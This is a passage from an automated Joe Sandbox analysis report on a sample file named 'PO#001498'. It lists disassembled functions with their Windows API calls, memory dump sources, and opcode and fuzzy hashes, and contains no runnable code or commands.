                                                                                                                                                                                • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                                                                                                                • String ID: Line:
                                                                                                                                                                                • API String ID: 1620655955-1585850449
                                                                                                                                                                                • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                                • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                                                                                                                                • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                                • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B
                                                                                                                                                                                Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                                                                                                                                • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                                                                                                                                • __swprintf.LIBCMT ref: 0045D3CC
                                                                                                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorMode$InformationVolume__swprintf
                                                                                                                                                                                • String ID: %lu$HH
                                                                                                                                                                                • API String ID: 3164766367-3924996404
                                                                                                                                                                                • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                                • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                                                                                                                                • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                                • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                                                                                                                                Function 00450DB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                                                                                                                                • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                                                                                                                                • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                                • String ID: Msctls_Progress32
                                                                                                                                                                                • API String ID: 3850602802-3636473452
                                                                                                                                                                                • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                                • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                                                                                                                                • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                                • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                                                                                                                                Function 00455449 Relevance: 10.6, APIs: 7, Instructions: 75windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 00455451
                                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0045545F
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Destroy$DeleteImageList_ObjectWindow$Icon
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3985565216-0
                                                                                                                                                                                • Opcode ID: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                                                • Instruction ID: 02eb1b45cc7e926b76574f27881fb1e8d9d372094f4d7b34cf8607babd6cb63d
                                                                                                                                                                                • Opcode Fuzzy Hash: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                                                • Instruction Fuzzy Hash: EA213270200A019FCB20DF65CAD4B2A77A9BF45312F50855EED45CB352DB39EC45CB69
                                                                                                                                                                                Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                                                                                                                • __calloc_crt.LIBCMT ref: 00415743
                                                                                                                                                                                • __getptd.LIBCMT ref: 00415750
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                                                                                                                • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                                                                                                                                • __dosmaperr.LIBCMT ref: 004157A9
                                                                                                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1269668773-0
                                                                                                                                                                                • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                                                • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                                                                                                                • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                                                • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                                                                                                                Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                                                                                                                  • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                                                                                                                • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                                                                                                                • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1957940570-0
                                                                                                                                                                                • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                                • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                                                                                                                • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                                • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                                                                                                                Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                                • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4166825349-0
                                                                                                                                                                                • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                                • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                                                                                                                • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                                • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                                                                                                                Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                                                                                                                • API String ID: 2574300362-3261711971
                                                                                                                                                                                • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                                • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                                                                                                                • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                                • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                                                                                                                Function 0047B1D0 Relevance: 9.5, APIs: 6, Instructions: 489COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                                • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                                                                                                                • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                                • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                                                                                                                Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 00433724
                                                                                                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                                                                                                                • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                                                                                                                • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3220332590-0
                                                                                                                                                                                • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                                • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                                                                                                                • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                                • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                                                                                                                Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1612042205-0
                                                                                                                                                                                • Opcode ID: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                                                                                                                                                                                • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                                                                                                                • Opcode Fuzzy Hash: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                                                                                                                                                                                • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                                                                                                                Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                                                                                                                • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                                                                                                                • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                                                                                                                • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                                                                                                                • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                                                                                                                • SendInput.USER32 ref: 0044C6E2
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessagePost$KeyboardState$InputSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2221674350-0
                                                                                                                                                                                • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                                • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                                                                                                                • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                                • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                                                                                                                Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcscpy$_wcscat
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2037614760-0
                                                                                                                                                                                • Opcode ID: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                                                                                                                                                                                • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
